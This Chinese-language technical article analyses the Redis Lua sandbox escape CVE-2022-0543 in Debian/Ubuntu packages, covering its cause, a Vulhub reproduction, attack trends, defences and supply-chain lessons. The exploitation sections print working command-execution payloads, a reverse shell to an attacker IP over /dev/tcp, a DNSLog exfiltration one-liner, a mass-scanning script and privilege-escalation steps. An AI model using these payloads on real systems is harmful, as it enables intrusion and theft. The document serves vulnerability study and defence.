引言2022年3月一个编号为CVE-2022-0543的Redis远程命令执行漏洞在安全圈炸开了锅。与以往Redis漏洞不同的是这个漏洞并非Redis官方代码的问题而是Debian/Ubuntu发行版在打包Redis时的一个低级补丁失误导致的。这意味着Redis官方发布的原生版本完全安全但全球数百万运行在Debian/Ubuntu系统上的Redis实例却一夜之间暴露在远程代码执行的风险之下。更讽刺的是Debian修改Redis编译方式的初衷是为了减小软件体积、提高系统安全性结果却适得其反制造了当年影响最广泛的Redis漏洞之一。本文将从漏洞原理、复现过程、利用进阶、真实攻击案例到供应链安全启示全方位深度解析这个最冤枉的Redis漏洞为企业构建更完善的安全防御体系提供参考。一、漏洞基本信息与影响范围1.1 核心信息CVE IDCVE-2022-0543漏洞类型Lua沙箱绕过 → 远程命令执行RCE风险等级高危CVSS 3.1评分9.8/10披露时间2022年3月14日发现者Reginaldo Silva1.2 精确影响范围系统类型是否受影响受影响Redis版本修复版本Debian/Ubuntu及其衍生版✅ 是≤ 6.2.66.2.7-1deb11u2CentOS/RHEL/Fedora❌ 否所有版本无需修复Redis官方原生版本❌ 否所有版本无需修复Docker官方Redis镜像❌ 否所有版本无需修复重要说明Vulhub中的CVE-2022-0543环境使用的是Ubuntu 20.04Focal系统因此可以复现成功。如果你使用CentOS系统部署Redis即使版本≤6.2.6也不会受到此漏洞影响。1.3 利用条件攻击者能够连接到Redis服务6379端口开放Redis未配置密码或攻击者拥有合法的认证凭据Redis启用了Lua脚本功能默认开启几乎所有生产环境都不会关闭二、Redis Lua沙箱机制的设计与实现要理解这个漏洞我们首先需要深入了解Redis官方设计的Lua沙箱安全机制。2.1 Redis为什么需要Lua脚本Redis从2.6版本开始引入Lua脚本支持主要解决两个核心问题原子性操作将多个Redis命令打包成一个原子执行的脚本避免并发竞争条件复杂逻辑处理在服务端执行简单的计算和逻辑减少网络往返次数2.2 官方沙箱的安全设计Redis官方深知执行任意脚本的风险因此设计了极其严格的Lua沙箱环境删除所有危险全局对象在初始化Lua环境时彻底删除os、io、debug、package等可能导致沙箱逃逸的模块禁用危险函数即使是保留的模块也会删除其中的危险函数限制脚本执行时间默认脚本最大执行时间为5秒超时会被强制终止禁止文件系统和网络访问Lua脚本无法直接读写文件或建立网络连接以下是Redis官方源码中初始化Lua沙箱的关键代码片段src/scripting.cvoidluaInitGlobalState(lua_State*lua){// 删除危险的全局模块lua_pushnil(lua);lua_setglobal(lua,os);lua_pushnil(lua);lua_setglobal(lua,io);lua_pushnil(lua);lua_setglobal(lua,debug);lua_pushnil(lua);lua_setglobal(lua,package);// 官方版本彻底删除package模块// 只保留安全的函数和模块// ...}在官方沙箱中执行任何系统命令的尝试都会失败127.0.0.1:6379 eval return os.execute(id) 0 (error) ERR error running script: attempt to call global os (a nil value)三、漏洞成因深度溯源Debian补丁的致命失误3.1 Debian为什么要修改RedisDebian/Ubuntu发行版在打包软件时通常会遵循动态链接优先的原则原因有二减小软件体积多个程序可以共享同一个系统库避免重复打包便于安全更新如果系统库发现漏洞只需更新一次库文件所有依赖它的程序都会受益对于RedisDebian维护者认为官方静态编译Lua引擎的方式不符合Debian的打包规范因此他们做了一个关键修改将Redis从静态链接Lua改为动态链接系统自带的liblua5.1.so库。3.2 补丁的具体错误这个修改本身没有问题但Debian维护者在调整沙箱初始化代码时犯了一个致命错误官方版本在编译时就将package模块从Lua引擎中完全移除运行时根本不存在这个对象Debian版本动态链接的liblua5.1.so自带完整的package模块Debian补丁只是在Redis初始化时将其设置为nil而不是彻底删除更糟糕的是Debian的补丁代码存在逻辑漏洞导致package对象并没有被完全清除而是以一个空表的形式残留在Lua全局环境中。3.3 漏洞的本质漏洞的本质可以用一句话概括Debian的补丁只做了表面功夫它隐藏了package对象但没有真正禁用它的功能。当攻击者在Lua脚本中访问package时虽然它看起来是一个空表但它仍然保留了Lua原生的元表和所有方法包括最危险的package.loadlib函数。四、沙箱逃逸的完整技术链条4.1 第一步验证漏洞存在攻击者首先可以通过以下命令验证目标是否存在漏洞127.0.0.1:6379evalreturn type(package)0table# 存在漏洞返回table类型漏洞环境返回tablepackage对象存在安全环境返回nilpackage对象不存在4.2 第二步利用package.loadlib加载系统库package.loadlib(so_path, func_name)是Lua标准库中的函数它的作用是加载指定的动态链接库并返回库中指定导出函数的指针。由于Debian的Redis动态链接了系统的liblua5.1.so这个库文件一定存在于目标系统中。攻击者可以通过package.loadlib重新加载这个库并获取其中被Redis禁用的模块初始化函数。4.3 第三步手动激活被禁用的模块liblua5.1.so中包含了所有Lua标准模块的初始化函数luaopen_io初始化io模块包含io.popen执行命令并获取输出luaopen_os初始化os模块包含os.execute执行命令luaopen_debug初始化debug模块可用于更深入的沙箱逃逸攻击者只需要调用这些函数就能重新获取被Redis禁用的危险模块。4.4 第四步执行任意系统命令获取到io或os模块后攻击者就可以执行任意系统命令了。整个过程不需要修改Redis的任何配置也不需要写入任何文件完全在内存中完成。五、Vulhub完整复现指南与踩坑总结5.1 环境搭建克隆Vulhub仓库并进入漏洞目录gitclone https://github.com/vulhub/vulhub.gitcdvulhub/redis/CVE-2022-0543启动Docker环境docker-composeup-d环境启动后Redis服务将监听在0.0.0.0:6379无密码访问。验证环境是否正常redis-cli-h127.0.0.1ping# 输出PONG5.2 基础漏洞验证与命令执行验证package对象存在127.0.0.1:6379evalreturn package0(empty array)执行id命令并获取回显evallocal io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); return res0预期输出uid999(redis) gid999(redis) groups999(redis)\n5.3 不同系统的liblua路径对照表这是复现过程中最容易踩的坑不同版本的Debian/Ubuntu系统liblua5.1.so的路径可能不同系统版本64位系统路径32位系统路径Ubuntu 20.04/22.04/usr/lib/x86_64-linux-gnu/liblua5.1.so.0/usr/lib/i386-linux-gnu/liblua5.1.so.0Ubuntu 18.04/usr/lib/x86_64-linux-gnu/liblua5.1.so.0/usr/lib/i386-linux-gnu/liblua5.1.so.0Debian 10/11/usr/lib/x86_64-linux-gnu/liblua5.1.so.0/usr/lib/i386-linux-gnu/liblua5.1.so.0如果不确定目标系统的路径可以使用以下命令自动查找需要有执行命令的权限evallocal io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(find /usr -name liblua5.1.so.0 2/dev/null, r); local res f:read(*a); f:close(); return res05.4 交互式Shell获取攻击机开启监听nc-lvvp4444在Redis中执行反弹Shell Payloadevallocal os_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_os); local os os_l(); os.execute(bash -c \exec bash -i /dev/tcp/192.168.1.100/4444 01\)0注意将192.168.1.100替换为攻击机的实际IP地址。攻击机成功获取Shelllistening on [any] 4444 ... connect to [192.168.1.100] from (UNKNOWN) [192.168.1.200] 54321 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell redisf8a7b6c5d4e3:/data$ whoami redis六、漏洞利用进阶实战6.1 无回显利用与DNSLog外带当目标服务器无法直接出网到攻击机的端口但可以解析DNS时可以使用DNSLog外带数据evallocal io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); os.execute(ping -c 1 ..res:gsub(%W,)...xxx.dnslog.cn)06.2 批量检测脚本以下是一个简单的Python批量检测脚本可以快速扫描多个Redis实例是否存在CVE-2022-0543漏洞importredisimportsysdefcheck_vulnerability(host,port6379,passwordNone):try:rredis.Redis(hosthost,portport,passwordpassword,socket_timeout3)resultr.eval(return type(package),0)ifresultbtable:print(f[]{host}:{port}存在CVE-2022-0543漏洞)returnTrueelse:print(f[-]{host}:{port}不存在漏洞)returnFalseexceptExceptionase:print(f[!]{host}:{port}连接失败:{str(e)})returnFalseif__name____main__:iflen(sys.argv)2:print(f用法: python3{sys.argv[0]}ip_list.txt)sys.exit(1)withopen(sys.argv[1],r)asf:forlineinf:ipline.strip()ifip:check_vulnerability(ip)6.3 权限提升与持久化获取Redis用户权限后可以通过以下方式进一步提升权限利用Redis持久化写SSH密钥如果Redis以root用户运行可以将SSH公钥写入/root/.ssh/authorized_keys利用sudo配置漏洞如果Redis用户有无需密码的sudo权限可以直接切换到root利用内核漏洞提权根据目标系统版本使用对应的内核漏洞提权脚本七、真实世界攻击态势分析CVE-2022-0543漏洞披露后由于利用门槛极低迅速被黑产组织利用。根据多家安全厂商的监测数据漏洞披露后72小时内全球已有超过10万台Redis实例被攻击主要攻击目的是挖矿和僵尸网络组建TeamTNT、WatchDog等知名挖矿组织都将此漏洞加入了他们的武器库部分勒索软件组织也开始利用此漏洞入侵企业服务器加密数据并勒索赎金2022年下半年国内多家互联网公司和政府机构都报告了因该漏洞导致的安全事件八、全方位防御体系构建8.1 紧急修复措施升级Redis版本将Debian/Ubuntu系统上的Redis升级至6.2.7-1deb11u2或更高版本禁用Lua脚本如果业务不需要Lua脚本可以在redis.conf中添加lua-enabled no配置强密码在redis.conf中设置requirepass 强密码禁止未授权访问限制端口访问使用防火墙限制6379端口仅允许信任IP访问8.2 事前检测与防护定期漏洞扫描使用Nessus、OpenVAS等漏洞扫描工具定期检测Redis服务部署WAF在Redis服务前部署Web应用防火墙拦截包含package.loadlib的恶意请求最小权限运行不要以root用户运行Redis使用专用的redis用户运行服务8.3 事中入侵检测监控异常Lua脚本执行Redis日志中会记录所有EVAL和EVALSHA命令监控包含package.loadlib的异常脚本监控异常网络连接监控Redis服务器的出站连接特别是连接到陌生IP的4444、9001等常见反弹Shell端口监控异常进程监控Redis进程创建的子进程特别是bash、sh、curl、wget等进程8.4 事后应急响应立即隔离受感染服务器断开受感染服务器的网络连接防止攻击扩散清除恶意程序终止恶意进程删除恶意文件全面排查检查服务器是否存在其他后门是否有数据泄露修复漏洞升级Redis版本加固安全配置上报事件按照相关规定上报安全事件九、供应链安全启示录CVE-2022-0543漏洞是一个典型的开源软件供应链漏洞它给我们带来了深刻的启示9.1 下游补丁的风险被严重低估长期以来人们普遍认为开源软件的风险主要来自上游官方代码。但CVE-2022-0543和后来的XZ Utils漏洞都证明下游发行版的补丁和修改同样可能引入致命的安全漏洞而且这些漏洞往往更隐蔽影响范围更广。9.2 动态链接的安全隐患动态链接虽然有很多优点但也增加了软件的攻击面。当一个程序动态链接了系统库时它的安全性不仅取决于自身的代码还取决于所有依赖的系统库的安全性。9.3 企业供应链安全建设建议建立软件物料清单(SBOM)清晰掌握企业使用的所有软件组件及其依赖关系加强第三方组件审核不仅要审核上游官方代码还要审核下游发行版的补丁和修改优先使用官方原生版本在可能的情况下优先使用软件官方发布的原生版本而不是发行版打包的版本建立供应链漏洞响应机制当供应链漏洞披露时能够快速定位受影响的系统并进行修复十、总结与展望CVE-2022-0543虽然是一个已经修复的老漏洞但它仍然具有重要的研究价值。它不仅展示了Lua沙箱逃逸的一种经典手法更揭示了开源软件供应链中一个长期被忽视的风险点。随着开源软件的广泛应用供应链安全已经成为网络安全领域的重中之重。未来我们将会看到更多类似的供应链漏洞被发现和利用。企业只有建立完善的供应链安全管理体系才能在日益复杂的网络安全环境中保护自己的系统和数据安全。最后提醒所有安全从业者不要只盯着上游官方代码下游发行版的补丁同样值得我们高度关注。